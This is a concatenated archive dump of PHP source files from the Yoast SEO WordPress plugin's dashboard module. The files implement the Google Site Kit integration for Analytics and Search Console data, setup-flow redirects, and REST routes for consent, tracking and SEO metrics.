throw new Invalid_Request_Exception( 'Unexpected parameters for the request' );
}
$data_container = new Data_Container();
$comparison_traffic_data = new Comparison_Traffic_Data();
// First row is the current date range's data, second row is the previous date range's data.
foreach ( $response->getRows() as $date_range_row ) {
$traffic_data = new Traffic_Data();
// Loop through all the metrics of the date range.
foreach ( $response->getMetricHeaders() as $key => $metric ) {
// As per https://developers.google.com/analytics/devguides/reporting/data/v1/basics#read_the_response,
// the order of the columns is consistent in the request, header, and rows.
// So we can use the key of the header to get the correct metric value from the row.
$metric_value = $date_range_row->getMetricValues()[ $key ]->getValue();
if ( $metric->getName() === 'sessions' ) {
$traffic_data->set_sessions( (int) $metric_value );
}
elseif ( $metric->getName() === 'totalUsers' ) {
$traffic_data->set_total_users( (int) $metric_value );
}
}
$period = $this->get_period( $date_range_row );
if ( $period === Comparison_Traffic_Data::CURRENT_PERIOD_KEY ) {
$comparison_traffic_data->set_current_traffic_data( $traffic_data );
}
elseif ( $period === Comparison_Traffic_Data::PREVIOUS_PERIOD_KEY ) {
$comparison_traffic_data->set_previous_traffic_data( $traffic_data );
}
}
$data_container->add_data( $comparison_traffic_data );
return $data_container;
}
/**
* Parses the response row and returns whether it's about the current period or the previous period.
*
* @see https://developers.google.com/analytics/devguides/reporting/data/v1/rest/v1beta/DateRange
*
* @param Row $date_range_row The response row.
*
* @return string The key associated with the current or the previous period.
*
* @throws Invalid_Request_Exception When the request is invalid due to unexpected parameters.
*/
private function get_period( Row $date_range_row ): string {
foreach ( $date_range_row->getDimensionValues() as $dimension_value ) {
if ( $dimension_value->getValue() === 'date_range_0' ) {
return Comparison_Traffic_Data::CURRENT_PERIOD_KEY;
}
elseif ( $dimension_value->getValue() === 'date_range_1' ) {
return Comparison_Traffic_Data::PREVIOUS_PERIOD_KEY;
}
}
throw new Invalid_Request_Exception( 'Unexpected date range names' );
}
/**
* Checks the response of the request to detect if it's a comparison request.
*
* @param RunReportResponse $response The response.
*
* @return bool Whether it's a comparison request.
*/
private function is_comparison_request( RunReportResponse $response ): bool {
return \count( $response->getDimensionHeaders() ) === 1 && $response->getDimensionHeaders()[0]->getName() === 'dateRange';
}
/**
* Checks the response of the request to detect if it's a daily request.
*
* @param RunReportResponse $response The response.
*
* @return bool Whether it's a daily request.
*/
private function is_daily_request( RunReportResponse $response ): bool {
return \count( $response->getDimensionHeaders() ) === 1 && $response->getDimensionHeaders()[0]->getName() === 'date';
}
/**
* Validates the response coming from Google Analytics.
*
* @param WP_REST_Response $response The response we want to validate.
*
* @return void
*
* @throws Failed_Request_Exception When the request responds with an error from Site Kit.
* @throws Unexpected_Response_Exception When the request responds with an unexpected format.
*/
private function validate_response( WP_REST_Response $response ): void {
if ( $response->is_error() ) {
$error_data = $response->as_error()->get_error_data();
$error_status_code = ( $error_data['status'] ?? 500 );
throw new Failed_Request_Exception( \wp_kses_post( $response->as_error()->get_error_message() ), (int) $error_status_code );
}
if ( ! \is_a( $response->get_data(), RunReportResponse::class ) ) {
throw new Unexpected_Response_Exception();
}
}
}
dashboard/infrastructure/analytics-4/site-kit-analytics-4-api-call.php 0000644 00000002032 15207625757 0021770 0 ustar 00 > $api_parameters The api parameters.
*
* @return WP_REST_Response
*/
public function do_request( array $api_parameters ): WP_REST_Response {
$request = new WP_REST_Request( 'GET', '/' . REST_Routes::REST_ROOT . self::ANALYTICS_DATA_REPORT_ROUTE );
$request->set_query_params( $api_parameters );
return \rest_do_request( $request );
}
}
dashboard/infrastructure/browser-cache/browser-cache-configuration.php 0000644 00000003060 15207625757 0022420 0 ustar 00 > The cache TTL for each widget.
*/
private function get_widgets_cache_ttl() {
return [
'topPages' => [
'ttl' => ( 1 * \MINUTE_IN_SECONDS ),
],
'topQueries' => [
'ttl' => ( 1 * \HOUR_IN_SECONDS ),
],
'searchRankingCompare' => [
'ttl' => ( 1 * \HOUR_IN_SECONDS ),
],
'organicSessions' => [
'ttl' => ( 1 * \HOUR_IN_SECONDS ),
],
];
}
/**
* Gets the prefix for the client side cache key.
*
* Cache key is scoped to user session and blog_id to isolate the
* cache between users and sites (in multisite).
*
* @return string
*/
private function get_storage_prefix() {
$current_user = \wp_get_current_user();
$auth_cookie = \wp_parse_auth_cookie();
$blog_id = \get_current_blog_id();
$session_token = ( $auth_cookie['token'] ?? '' );
return \wp_hash( $current_user->user_login . '|' . $session_token . '|' . $blog_id );
}
/**
* Returns the browser cache configuration.
*
* @return array>>
*/
public function get_configuration(): array {
return [
'storagePrefix' => $this->get_storage_prefix(),
'yoastVersion' => \WPSEO_VERSION,
'widgetsCacheTtl' => $this->get_widgets_cache_ttl(),
];
}
}
dashboard/infrastructure/taxonomies/taxonomy-validator.php 0000644 00000001460 15207625757 0020334 0 ustar 00 public
&& $taxonomy->show_in_rest
&& \in_array( $taxonomy->name, \get_object_taxonomies( $content_type ), true );
}
}
dashboard/infrastructure/taxonomies/taxonomies-collector.php 0000644 00000006342 15207625757 0020651 0 ustar 00 taxonomy_validator = $taxonomy_validator;
}
/**
* Returns a custom pair of taxonomy/content type, that's been given by users via hooks.
*
* @param string $content_type The content type we're hooking for.
*
* @return Taxonomy|null The hooked filtering taxonomy.
*/
public function get_custom_filtering_taxonomy( string $content_type ) {
/**
* Filter: 'wpseo_{$content_type}_filtering_taxonomy' - Allows overriding which taxonomy filters the content type.
*
* @internal
*
* @param string $filtering_taxonomy The taxonomy that filters the content type.
*/
$filtering_taxonomy = \apply_filters( "wpseo_{$content_type}_filtering_taxonomy", '' );
if ( $filtering_taxonomy !== '' ) {
$taxonomy = $this->get_taxonomy( $filtering_taxonomy, $content_type );
if ( $taxonomy ) {
return $taxonomy;
}
\_doing_it_wrong(
'Filter: \'wpseo_{$content_type}_filtering_taxonomy\'',
'The `wpseo_{$content_type}_filtering_taxonomy` filter should return a public taxonomy, available in REST API, that is associated with that content type.',
'YoastSEO v24.1',
);
}
return null;
}
/**
* Returns the fallback, WP-native category taxonomy, if it's associated with the specific content type.
*
* @param string $content_type The content type.
*
* @return Taxonomy|null The taxonomy object for the category taxonomy.
*/
public function get_fallback_taxonomy( string $content_type ): ?Taxonomy {
return $this->get_taxonomy( 'category', $content_type );
}
/**
* Returns the taxonomy object that filters a specific content type.
*
* @param string $taxonomy_name The name of the taxonomy we're going to build the object for.
* @param string $content_type The content type that the taxonomy object is filtering.
*
* @return Taxonomy|null The taxonomy object.
*/
public function get_taxonomy( string $taxonomy_name, string $content_type ): ?Taxonomy {
$taxonomy = \get_taxonomy( $taxonomy_name );
if ( $this->taxonomy_validator->is_valid_taxonomy( $taxonomy, $content_type ) ) {
return new Taxonomy( $taxonomy->name, $taxonomy->label, $this->get_taxonomy_rest_url( $taxonomy ) );
}
return null;
}
/**
* Builds the REST API URL for the taxonomy.
*
* @param WP_Taxonomy $taxonomy The taxonomy we want to build the REST API URL for.
*
* @return string The REST API URL for the taxonomy.
*/
protected function get_taxonomy_rest_url( WP_Taxonomy $taxonomy ): string {
$rest_base = ( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
$rest_namespace = ( $taxonomy->rest_namespace ) ? $taxonomy->rest_namespace : 'wp/v2';
return \rest_url( "{$rest_namespace}/{$rest_base}" );
}
}
dashboard/infrastructure/connection/site-kit-is-connected-call.php 0000644 00000002676 15207625757 0021471 0 ustar 00 is_error() ) {
return false;
}
return $response->get_data()['setupCompleted'];
}
/**
* Runs the internal REST api call.
*
* @return bool
*/
public function is_ga_connected(): bool {
if ( ! \class_exists( REST_Routes::class ) ) {
return false;
}
$request = new WP_REST_Request( 'GET', '/' . REST_Routes::REST_ROOT . '/core/modules/data/list' );
$response = \rest_do_request( $request );
if ( $response->is_error() ) {
return false;
}
$connected = false;
foreach ( $response->get_data() as $module ) {
if ( $module['slug'] === 'analytics-4' ) {
$connected = $module['connected'];
}
}
return $connected;
}
}
dashboard/infrastructure/search-console/site-kit-search-console-api-call.php 0000644 00000002024 15207625757 0023323 0 ustar 00 > $api_parameters The api parameters.
*
* @return WP_REST_Response
*/
public function do_request( array $api_parameters ): WP_REST_Response {
$request = new WP_REST_Request( 'GET', self::SEARCH_CONSOLE_DATA_SEARCH_ANALYTICS_ROUTE );
$request->set_query_params( $api_parameters );
return \rest_do_request( $request );
}
}
dashboard/infrastructure/search-console/site-kit-search-console-adapter.php 0000644 00000015670 15207625757 0023274 0 ustar 00 site_kit_search_console_api_call = $site_kit_search_console_api_call;
}
/**
* The wrapper method to do a Site Kit API request for Search Console.
*
* @param Search_Console_Parameters $parameters The parameters.
*
* @throws Failed_Request_Exception When the request responds with an error from Site Kit.
* @throws Unexpected_Response_Exception When the request responds with an unexpected format.
* @return Data_Container The Site Kit API response.
*/
public function get_data( Search_Console_Parameters $parameters ): Data_Container {
$api_parameters = $this->build_parameters( $parameters );
$response = $this->site_kit_search_console_api_call->do_request( $api_parameters );
$this->validate_response( $response );
return $this->parse_response( $response->get_data() );
}
/**
* The wrapper method to do a comparison Site Kit API request for Search Console.
*
* @param Search_Console_Parameters $parameters The parameters.
*
* @throws Failed_Request_Exception When the request responds with an error from Site Kit.
* @throws Unexpected_Response_Exception When the request responds with an unexpected format.
* @return Data_Container The Site Kit API response.
*/
public function get_comparison_data( Search_Console_Parameters $parameters ): Data_Container {
$api_parameters = $this->build_parameters( $parameters );
// Since we're doing a comparison request, we need to increase the date range to the start of the previous period. We'll later split the data into two periods.
$api_parameters['startDate'] = $parameters->get_compare_start_date();
$response = $this->site_kit_search_console_api_call->do_request( $api_parameters );
$this->validate_response( $response );
return $this->parse_comparison_response( $response->get_data(), $parameters->get_compare_end_date() );
}
/**
* Builds the parameters to be used in the Site Kit API request.
*
* @param Search_Console_Parameters $parameters The parameters.
*
* @return array> The Site Kit API parameters.
*/
private function build_parameters( Search_Console_Parameters $parameters ): array {
$api_parameters = [
'startDate' => $parameters->get_start_date(),
'endDate' => $parameters->get_end_date(),
'dimensions' => $parameters->get_dimensions(),
];
if ( $parameters->get_limit() !== 0 ) {
$api_parameters['limit'] = $parameters->get_limit();
}
return $api_parameters;
}
/**
* Parses a response for a comparison Site Kit API request for Search Analytics.
*
* @param ApiDataRow[] $response The response to parse.
* @param string $compare_end_date The compare end date.
*
* @throws Unexpected_Response_Exception When the comparison request responds with an unexpected format.
* @return Data_Container The parsed comparison Site Kit API response.
*/
private function parse_comparison_response( array $response, ?string $compare_end_date ): Data_Container {
$data_container = new Data_Container();
$comparison_search_ranking_data = new Comparison_Search_Ranking_Data();
foreach ( $response as $ranking_date ) {
if ( ! \is_a( $ranking_date, ApiDataRow::class ) ) {
throw new Unexpected_Response_Exception();
}
$ranking_data = new Search_Ranking_Data( $ranking_date->getClicks(), $ranking_date->getCtr(), $ranking_date->getImpressions(), $ranking_date->getPosition(), $ranking_date->getKeys()[0] );
// Now split the data into two periods.
if ( $ranking_date->getKeys()[0] <= $compare_end_date ) {
$comparison_search_ranking_data->add_previous_traffic_data( $ranking_data );
}
else {
$comparison_search_ranking_data->add_current_traffic_data( $ranking_data );
}
}
$data_container->add_data( $comparison_search_ranking_data );
return $data_container;
}
/**
* Parses a response for a Site Kit API request for Search Analytics.
*
* @param ApiDataRow[] $response The response to parse.
*
* @throws Unexpected_Response_Exception When the request responds with an unexpected format.
* @return Data_Container The parsed Site Kit API response.
*/
private function parse_response( array $response ): Data_Container {
$search_ranking_data_container = new Data_Container();
foreach ( $response as $ranking ) {
if ( ! \is_a( $ranking, ApiDataRow::class ) ) {
throw new Unexpected_Response_Exception();
}
/**
* Filter: 'wpseo_transform_dashboard_subject_for_testing' - Allows overriding subjects like URLs for the dashboard, to facilitate testing in local environments.
*
* @param string $url The subject to be transformed.
*
* @internal
*/
$subject = \apply_filters( 'wpseo_transform_dashboard_subject_for_testing', $ranking->getKeys()[0] );
$search_ranking_data_container->add_data( new Search_Ranking_Data( $ranking->getClicks(), $ranking->getCtr(), $ranking->getImpressions(), $ranking->getPosition(), $subject ) );
}
return $search_ranking_data_container;
}
/**
* Validates the response coming from Search Console.
*
* @param WP_REST_Response $response The response we want to validate.
*
* @return void.
*
* @throws Failed_Request_Exception When the request responds with an error from Site Kit.
* @throws Unexpected_Response_Exception When the request responds with an unexpected format.
*/
private function validate_response( WP_REST_Response $response ): void {
if ( $response->is_error() ) {
$error_data = $response->as_error()->get_error_data();
$error_status_code = ( $error_data['status'] ?? 500 );
throw new Failed_Request_Exception(
\wp_kses_post(
$response->as_error()
->get_error_message(),
),
(int) $error_status_code,
);
}
if ( ! \is_array( $response->get_data() ) ) {
throw new Unexpected_Response_Exception();
}
}
}
dashboard/infrastructure/search-console/search-console-parameters.php 0000644 00000001464 15207625757 0022264 0 ustar 00 $dimensions The dimensions.
*
* @return void
*/
public function set_dimensions( array $dimensions ): void {
$this->dimensions = $dimensions;
}
/**
* Getter for the dimensions.
*
* @return string[]
*/
public function get_dimensions(): array {
return $this->dimensions;
}
}
dashboard/user-interface/setup/setup-flow-interceptor.php 0000644 00000010304 15207625757 0017737 0 ustar 00 current_page_helper = $current_page_helper;
$this->redirect_helper = $redirect_helper;
$this->site_kit_configuration = $site_kit_configuration;
}
/**
* Registers our redirect back to our dashboard all the way at the end of the admin init to make sure everything from the Site Kit callback can be finished.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_init', [ $this, 'intercept_site_kit_setup_flow' ], 999 );
}
/**
* The conditions for this integration to load.
*
* @return string[] The conditionals.
*/
public static function get_conditionals() {
return [ Admin_Conditional::class ];
}
/**
* Checks if we should intercept the final page from the Site Kit flow.
*
* @return void
*/
public function intercept_site_kit_setup_flow() {
if ( \get_transient( Setup_Url_Interceptor::SITE_KIT_SETUP_TRANSIENT ) === '1' && $this->is_site_kit_setup_completed_page() ) {
\delete_transient( Setup_Url_Interceptor::SITE_KIT_SETUP_TRANSIENT );
$this->redirect_helper->do_safe_redirect( \self_admin_url( 'admin.php?page=wpseo_dashboard&redirected_from_site_kit' ), 302, 'Yoast SEO' );
}
}
/**
* Checks if we are on the site kit setup completed page.
*
* @return bool
*/
private function is_site_kit_setup_completed_page(): bool {
$current_page = $this->current_page_helper->get_current_yoast_seo_page();
$on_search_console_setup_page = $current_page === self::GOOGLE_SITE_KIT_SEARCH_CONSOLE_SETUP_FINISHED_PAGE;
$on_analytics_setup_page = $current_page === self::GOOGLE_SITE_KIT_ANALYTICS_SETUP_FINISHED_PAGE;
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
$authentication_success_notification = isset( $_GET['notification'] ) && \sanitize_text_field( \wp_unslash( $_GET['notification'] ) ) === 'authentication_success';
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
$analytics_4_slug = isset( $_GET['slug'] ) && \sanitize_text_field( \wp_unslash( $_GET['slug'] ) ) === 'analytics-4';
/**
* This checks two scenarios
* 1. The user only wants Search Console. In this case just checking if you are on the thank-you page from Site Kit is enough.
* 2. The user also wants analytics. So we need to check another page and also check if the analytics 4 connection is finalized.
*/
return ( $on_search_console_setup_page && $authentication_success_notification ) || ( $on_analytics_setup_page && $authentication_success_notification && $analytics_4_slug && $this->site_kit_configuration->is_ga_connected() );
}
}
dashboard/user-interface/setup/setup-url-interceptor.php 0000644 00000007767 15207625757 0017615 0 ustar 00 current_page_helper = $current_page_helper;
$this->redirect_helper = $redirect_helper;
$this->site_kit_configuration = $site_kit_configuration;
}
/**
* The conditions for this integration to load.
*
* @return string[] The conditionals.
*/
public static function get_conditionals() {
return [ Admin_Conditional::class ];
}
/**
* Registers the interceptor code to the admin_init function.
*
* @return void
*/
public function register_hooks() {
\add_filter( 'admin_menu', [ $this, 'add_redirect_page' ] );
\add_action( 'admin_init', [ $this, 'intercept_site_kit_setup_url_redirect' ], 1 );
}
/**
* Adds a dummy page.
*
* We need to register this in between page.
*
* @param array> $pages The pages.
*
* @return array> The pages.
*/
public function add_redirect_page( $pages ) {
\add_submenu_page(
'',
'',
'',
'wpseo_manage_options',
self::PAGE,
);
return $pages;
}
/**
* Checks if we are trying to reach a site kit setup url and sets the needed transient in between.
*
* @return void
*/
public function intercept_site_kit_setup_url_redirect() {
$allowed_setup_links = [
$this->site_kit_configuration->get_install_url(),
$this->site_kit_configuration->get_activate_url(),
$this->site_kit_configuration->get_setup_url(),
$this->site_kit_configuration->get_update_url(),
];
// Are we on the in-between page?
if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
// Check if parameter is there and is valid.
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
if ( isset( $_GET['redirect_setup_url'] ) && \in_array( \wp_unslash( $_GET['redirect_setup_url'] ), $allowed_setup_links, true ) ) {
// We overwrite the transient for each time this redirect is hit to keep refreshing the time.
\set_transient( self::SITE_KIT_SETUP_TRANSIENT, 1, ( \MINUTE_IN_SECONDS * 15 ) );
// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: Only allowed pre verified links can end up here.
$redirect_url = \wp_unslash( $_GET['redirect_setup_url'] );
$this->redirect_helper->do_safe_redirect( $redirect_url, 302, 'Yoast SEO' );
}
else {
$this->redirect_helper->do_safe_redirect( \self_admin_url( 'admin.php?page=wpseo_dashboard' ), 302, 'Yoast SEO' );
}
}
}
}
dashboard/user-interface/tracking/setup-steps-tracking-route.php 0000644 00000011701 15207625757 0021172 0 ustar 00 setup_steps_tracking_repository = $setup_steps_tracking_repository;
$this->capability_helper = $capability_helper;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_PREFIX,
[
[
'methods' => 'POST',
'callback' => [ $this, 'track_setup_steps' ],
'permission_callback' => [ $this, 'check_capabilities' ],
'args' => [
'setup_widget_loaded' => [
'required' => false,
'type' => 'string',
'enum' => [ 'yes', 'no' ],
],
'first_interaction_stage' => [
'required' => false,
'type' => 'string',
'enum' => [ 'install', 'activate', 'setup', 'grantConsent', 'successfullyConnected' ],
],
'last_interaction_stage' => [
'required' => false,
'type' => 'string',
'enum' => [ 'install', 'activate', 'setup', 'grantConsent', 'successfullyConnected' ],
],
'setup_widget_temporarily_dismissed' => [
'required' => false,
'type' => 'string',
'enum' => [ 'yes', 'no' ],
],
'setup_widget_permanently_dismissed' => [
'required' => false,
'type' => 'string',
'enum' => [ 'yes', 'no' ],
],
],
],
],
);
}
/**
* Stores tracking information.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response|WP_Error The success or failure response.
*/
public function track_setup_steps( WP_REST_Request $request ) {
$data = [
'setup_widget_loaded' => $request->get_param( 'setupWidgetLoaded' ),
'first_interaction_stage' => $request->get_param( 'firstInteractionStage' ),
'last_interaction_stage' => $request->get_param( 'lastInteractionStage' ),
'setup_widget_temporarily_dismissed' => $request->get_param( 'setupWidgetTemporarilyDismissed' ),
'setup_widget_permanently_dismissed' => $request->get_param( 'setupWidgetPermanentlyDismissed' ),
];
// Filter out null values from the data array.
$data = \array_filter(
$data,
static function ( $value ) {
return $value !== null;
},
);
// Check if all values are null then return an error that no valid params were passed.
if ( empty( $data ) ) {
return new WP_Error(
'wpseo_set_site_kit_usage_tracking',
\__( 'No valid parameters were passed.', 'wordpress-seo' ),
[ 'status' => 400 ],
);
}
$result = true;
foreach ( $data as $key => $value ) {
try {
$result = $this->setup_steps_tracking_repository->set_setup_steps_tracking_element( $key, $value );
} catch ( Exception $exception ) {
return new WP_Error(
'wpseo_set_site_kit_usage_tracking',
$exception->getMessage(),
(object) [],
);
}
if ( ! $result ) {
break;
}
}
return new WP_REST_Response(
[
'success' => $result,
],
( $result ) ? 200 : 400,
);
}
/**
* Checks if the current user has the required capabilities.
*
* @return bool
*/
public function check_capabilities() {
return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
}
}
dashboard/user-interface/configuration/site-kit-consent-management-route.php 0000644 00000006650 15207625760 0023456 0 ustar 00
*/
public static function get_conditionals() {
// This cannot have the Admin Conditional since it also needs to run in Rest requests.
return [ Site_Kit_Conditional::class ];
}
/**
* Constructs the class.
*
* @param Site_Kit_Consent_Repository_Interface $site_kit_consent_repository The repository.
* @param Capability_Helper $capability_helper The capability helper.
*/
public function __construct(
Site_Kit_Consent_Repository_Interface $site_kit_consent_repository,
Capability_Helper $capability_helper
) {
$this->site_kit_consent_repository = $site_kit_consent_repository;
$this->capability_helper = $capability_helper;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_PREFIX,
[
[
'methods' => 'POST',
'callback' => [ $this, 'set_site_kit_consent' ],
'permission_callback' => [ $this, 'check_capabilities' ],
'args' => [
'consent' => [
'required' => true,
'type' => 'bool',
'sanitize_callback' => 'rest_sanitize_boolean',
],
],
],
],
);
}
/**
* Sets whether the Site Kit configuration is permanently dismissed.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response|WP_Error The success or failure response.
*/
public function set_site_kit_consent( WP_REST_Request $request ) {
$consent = $request->get_param( 'consent' );
try {
$result = $this->site_kit_consent_repository->set_site_kit_consent( $consent );
} catch ( Exception $exception ) {
return new WP_Error(
'wpseo_set_site_kit_consent_error',
$exception->getMessage(),
(object) [],
);
}
return new WP_REST_Response(
[
'success' => $result,
],
( $result ) ? 200 : 400,
);
}
/**
* Checks if the current user has the required capabilities.
*
* @return bool
*/
public function check_capabilities() {
return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
}
}
dashboard/user-interface/configuration/site-kit-capabilities-integration.php 0000644 00000003236 15207625760 0023506 0 ustar 00
*/
public static function get_conditionals() {
// This cannot have the Admin Conditional since it also needs to run in Rest requests.
return [ Site_Kit_Conditional::class ];
}
/**
* Checks if the Site Kit capabilities need to be enabled for a manager.
*
* @param array $all_caps All the current capabilities of the current user.
* @param array $cap_to_check The capability to check against.
*
* @return array
*/
public function enable_site_kit_capabilities( $all_caps, $cap_to_check ) {
if ( ! isset( $cap_to_check[0] ) || ! \class_exists( Permissions::class ) ) {
return $all_caps;
}
$user = \wp_get_current_user();
$caps_to_check = [
Permissions::SETUP,
Permissions::VIEW_DASHBOARD,
];
if ( \in_array( $cap_to_check[0], $caps_to_check, true ) && \in_array( 'wpseo_manager', $user->roles, true ) ) {
$all_caps[ $cap_to_check[0] ] = true;
}
return $all_caps;
}
}
dashboard/user-interface/configuration/site-kit-configuration-dismissal-route.php 0000644 00000007276 15207625760 0024535 0 ustar 00 permanently_dismissed_site_kit_configuration_repository = $permanently_dismissed_site_kit_configuration_repository;
$this->capability_helper = $capability_helper;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_PREFIX,
[
[
'methods' => 'POST',
'callback' => [ $this, 'set_site_kit_configuration_permanent_dismissal' ],
'permission_callback' => [ $this, 'check_capabilities' ],
'args' => [
'is_dismissed' => [
'required' => true,
'type' => 'bool',
'sanitize_callback' => 'rest_sanitize_boolean',
],
],
],
],
);
}
/**
* Sets whether the Site Kit configuration is permanently dismissed.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response|WP_Error The success or failure response.
*/
public function set_site_kit_configuration_permanent_dismissal( WP_REST_Request $request ) {
$is_dismissed = $request->get_param( 'is_dismissed' );
try {
$result = $this->permanently_dismissed_site_kit_configuration_repository->set_site_kit_configuration_dismissal( $is_dismissed );
} catch ( Exception $exception ) {
return new WP_Error(
'wpseo_set_site_kit_configuration_permanent_dismissal_error',
$exception->getMessage(),
(object) [],
);
}
return new WP_REST_Response(
[
'success' => $result,
],
( $result ) ? 200 : 400,
);
}
/**
* Checks if the current user has the required capabilities.
*
* @return bool
*/
public function check_capabilities() {
return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
}
}
dashboard/user-interface/time-based-seo-metrics/time-based-seo-metrics-route.php 0000644 00000024353 15207625760 0024001 0 ustar 00 The conditionals that must be met to load this.
*/
public static function get_conditionals(): array {
return [ Site_Kit_Conditional::class ];
}
/**
* The constructor.
*
* @param Top_Page_Repository $top_page_repository The data provider for page based search rankings.
* @param Top_Query_Repository $top_query_repository The data provider for query based search rankings.
* @param Organic_Sessions_Compare_Repository $organic_sessions_compare_repository The data provider for comparison organic session traffic.
* @param Organic_Sessions_Daily_Repository $organic_sessions_daily_repository The data provider for daily organic session traffic.
* @param Search_Ranking_Compare_Repository $search_ranking_compare_repository The data provider for searching ranking comparison.
* @param Capability_Helper $capability_helper The capability helper.
*/
public function __construct(
Top_Page_Repository $top_page_repository,
Top_Query_Repository $top_query_repository,
Organic_Sessions_Compare_Repository $organic_sessions_compare_repository,
Organic_Sessions_Daily_Repository $organic_sessions_daily_repository,
Search_Ranking_Compare_Repository $search_ranking_compare_repository,
Capability_Helper $capability_helper
) {
$this->top_page_repository = $top_page_repository;
$this->top_query_repository = $top_query_repository;
$this->organic_sessions_compare_repository = $organic_sessions_compare_repository;
$this->organic_sessions_daily_repository = $organic_sessions_daily_repository;
$this->search_ranking_compare_repository = $search_ranking_compare_repository;
$this->capability_helper = $capability_helper;
}
/**
* Registers routes for scores.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_NAME,
[
[
'methods' => 'GET',
'callback' => [ $this, 'get_time_based_seo_metrics' ],
'permission_callback' => [ $this, 'permission_manage_options' ],
'args' => [
'limit' => [
'type' => 'int',
'sanitize_callback' => 'absint',
'default' => 5,
],
'options' => [
'type' => 'object',
'required' => true,
'properties' => [
'widget' => [
'type' => 'string',
'required' => true,
'sanitize_callback' => 'sanitize_text_field',
],
],
],
],
],
],
);
}
/**
* Gets the time based SEO metrics.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response The success or failure response.
*
* @throws Repository_Not_Found_Exception When the given widget name is not implemented yet.
*/
public function get_time_based_seo_metrics( WP_REST_Request $request ): WP_REST_Response {
try {
$widget_name = $request->get_param( 'options' )['widget'];
switch ( $widget_name ) {
case 'query':
$request_parameters = new Search_Console_Parameters();
$request_parameters = $this->set_date_range_parameters( $request_parameters );
$request_parameters->set_limit( $request->get_param( 'limit' ) );
$request_parameters->set_dimensions( [ 'query' ] );
$time_based_seo_metrics_container = $this->top_query_repository->get_data( $request_parameters );
break;
case 'page':
$request_parameters = new Search_Console_Parameters();
$request_parameters = $this->set_date_range_parameters( $request_parameters );
$request_parameters->set_limit( $request->get_param( 'limit' ) );
$request_parameters->set_dimensions( [ 'page' ] );
$time_based_seo_metrics_container = $this->top_page_repository->get_data( $request_parameters );
break;
case 'organicSessionsDaily':
$request_parameters = new Analytics_4_Parameters();
$request_parameters = $this->set_date_range_parameters( $request_parameters );
$request_parameters->set_dimensions( [ 'date' ] );
$request_parameters->set_metrics( [ 'sessions' ] );
$request_parameters->set_dimension_filters( [ 'sessionDefaultChannelGrouping' => [ 'Organic Search' ] ] );
$request_parameters->set_order_by( 'dimension', 'date' );
$time_based_seo_metrics_container = $this->organic_sessions_daily_repository->get_data( $request_parameters );
break;
case 'organicSessionsCompare':
$request_parameters = new Analytics_4_Parameters();
$request_parameters = $this->set_date_range_parameters( $request_parameters );
$request_parameters = $this->set_comparison_date_range_parameters( $request_parameters );
$request_parameters->set_metrics( [ 'sessions' ] );
$request_parameters->set_dimension_filters( [ 'sessionDefaultChannelGrouping' => [ 'Organic Search' ] ] );
$time_based_seo_metrics_container = $this->organic_sessions_compare_repository->get_data( $request_parameters );
break;
case 'searchRankingCompare':
$request_parameters = new Search_Console_Parameters();
$request_parameters = $this->set_date_range_parameters( $request_parameters );
$request_parameters = $this->set_comparison_date_range_parameters( $request_parameters );
$request_parameters->set_dimensions( [ 'date' ] );
$time_based_seo_metrics_container = $this->search_ranking_compare_repository->get_data( $request_parameters );
break;
default:
throw new Repository_Not_Found_Exception();
}
} catch ( Exception $exception ) {
return new WP_REST_Response(
[
'error' => $exception->getMessage(),
],
$exception->getCode(),
);
}
return new WP_REST_Response(
$time_based_seo_metrics_container->to_array(),
200,
);
}
/**
* Sets date range parameters.
*
* @param Parameters $request_parameters The request parameters.
*
* @return Parameters The request parameters with configured date range.
*/
public function set_date_range_parameters( Parameters $request_parameters ): Parameters {
$date = $this->get_base_date();
$date->modify( '-28 days' );
$start_date = $date->format( 'Y-m-d' );
$date = $this->get_base_date();
$date->modify( '-1 days' );
$end_date = $date->format( 'Y-m-d' );
$request_parameters->set_start_date( $start_date );
$request_parameters->set_end_date( $end_date );
return $request_parameters;
}
/**
* Sets comparison date range parameters.
*
* @param Parameters $request_parameters The request parameters.
*
* @return Parameters The request parameters with configured comparison date range.
*/
public function set_comparison_date_range_parameters( Parameters $request_parameters ): Parameters {
$date = $this->get_base_date();
$date->modify( '-29 days' );
$compare_end_date = $date->format( 'Y-m-d' );
$date->modify( '-27 days' );
$compare_start_date = $date->format( 'Y-m-d' );
$request_parameters->set_compare_start_date( $compare_start_date );
$request_parameters->set_compare_end_date( $compare_end_date );
return $request_parameters;
}
/**
* Gets the base date.
*
* @return DateTime The base date.
*/
private function get_base_date() {
/**
* Filter: 'wpseo_custom_site_kit_base_date' - Allow the base date for Site Kit requests to be dynamically set.
*
* @param string $base_date The custom base date for Site Kit requests, defaults to 'now'.
*/
$base_date = \apply_filters( 'wpseo_custom_site_kit_base_date', 'now' );
try {
return new DateTime( $base_date, new DateTimeZone( 'UTC' ) );
} catch ( Exception $e ) {
return new DateTime( 'now', new DateTimeZone( 'UTC' ) );
}
}
/**
* Permission callback.
*
* @return bool True when user has the 'wpseo_manage_options' capability.
*/
public function permission_manage_options() {
return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
}
}
